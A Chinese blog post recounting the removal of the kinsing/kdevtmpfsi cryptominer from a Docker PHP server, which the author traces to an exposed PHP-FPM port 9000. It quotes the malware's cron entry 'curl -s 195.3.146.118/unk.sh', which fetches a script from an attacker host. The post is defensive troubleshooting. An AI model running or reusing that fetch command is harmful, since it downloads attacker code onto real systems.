关于linux病毒`kinsing` `kdevtmpfsi`的处理

简要描述

有两周时间,一直出现cpu100% 的情况,服务器使用的 docker—compose 搭建 php+nginx+mysql ,出现这个病毒在不知道原因的情况下就出现了,然后运维人员找到本人,说服务器报警,连续几周时间观察找原因,最终得到解决

关于linux病毒`kinsing` `kdevtmpfsi`的处理

关于linux病毒`kinsing` `kdevtmpfsi`的处理

解决过程简述

一. 杀死进程 kill -9 pid

问题出现首先想到的就是杀死进程,然后去寻找出现这个的原因,因为是在容器里面,所以首先需要进入容器

docker exec -it container_id /bin/bash
ps -aux | grep kdevtmpfsi
ps -aux | grep kinsing

rm -rf ...

二. 查找定时任务

发现定时任务里面存在下面的可疑脚本

curl -s 195.3.146.118/unk.sh

/var/spool/cron/crontabs
rm -rf ..

三. 重新新建文件,设置权限并观察 cpu

touch /tmp/kdevtmpfsi /tmp/kinsing
chattr +i /tmp/kdevtmpfsi /tmp/kinsing
docker top container_id

有几天时间没有出现这些病毒,cpu 也没出现 100% 的情况,大概过了几天后就又出现了,现在出现的 kdevtmpfsi425336820 类似这样的文件,cpu 再次跑满

  • 以上就是花了好多天,然后网上搜索了一大堆,按照网上的做法去操作的,但是没能根本上解决问题,还有一些是写一个定时脚本定时去 kill 掉这些有问题的进程,这里就不贴上来了

四. 下载脚本

然后我把脚本下载下来了,发现里面有一个可疑ip,赶紧通知运维加入黑名单,这下子好了,好多天 cpu 没有再次升起来,但是阿里云总会收到恶意的报警通告

关于linux病毒`kinsing` `kdevtmpfsi`的处理

这里恶意程序的脚本文件就不贴了,代码有些多

下面这一点似乎是网上呼声最高的,我要说明一下,我的环境没有使用到 redis
关于linux病毒`kinsing` `kdevtmpfsi`的处理

最终解决

经过上面好多天的查资料,查到的基本上都是一样的解释,跟解决办法,对于目前我来说根本无用,心灰意冷

好在一次无意间用docker logs查看日志发现了猫腻

关于linux病毒`kinsing` `kdevtmpfsi`的处理

网上搜索了一下,这个是一个 PHP-FPM fastcgi 漏洞,资料来源如下

www.leavesongs.com/PENETRATION/fas...
mohen.blog.csdn.net/artice/details...

大概意思就是:开放了9000端口,按照一定的代码格式,来请求php代码,进入fastcgi里面,就可以执行自己任意的php代码

由于某种原因开启了 9000 端口,就给了这个病毒攻击系统的机会,让运维关闭 9000 端口,问题最终得到解决

使用到的linux指令
lsattr chattr rm -rf touch kill ps -aux top
使用到的docker指令
docker logs docker top docker exex -it cid /bin/bash docker cp docker-compose docker ps

总结

之前也发现一些挖矿的恶意程序,这次这个也是的,大概处理方法如下

  1. 杀死挖矿程序进程
  2. 查看定时任务,有无可疑程序
  3. 删除相关文件,重新新建文件,然后设置权限
  4. 观察,查看log
    不必要的端口不要爆露出来

以上是这次历时差不多两周的时间,解决的挖矿病毒问题,贴出来分享一下,因为本身不是运维,所以问了很多人,也尝试了很多种解决办法,最终问题得到解决,内心还是挺愉悦的,各位大佬如有这方面的经验,欢迎交流,指教

本作品采用《CC 协议》,转载必须注明作者和本文链接
希望你是真正的喜欢code
《L03 构架 API 服务器》
你将学到如 RESTFul 设计风格、PostMan 的使用、OAuth 流程,JWT 概念及使用 和 API 开发相关的进阶知识。
《L02 从零构建论坛系统》
以构建论坛项目 LaraBBS 为线索,展开对 Laravel 框架的全面学习。应用程序架构思路贴近 Laravel 框架的设计哲学。
讨论数量: 2

可以 我之前也遇到过 原因是docker的redis容器没设置密码 关掉容器-设置密码-重启 问题解决.你这文章更详细,收藏了.

3年前 评论

fpm默认配置应该只监听本地的9000端口啊,所以当时为啥要配置成暴露的呢?

3年前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!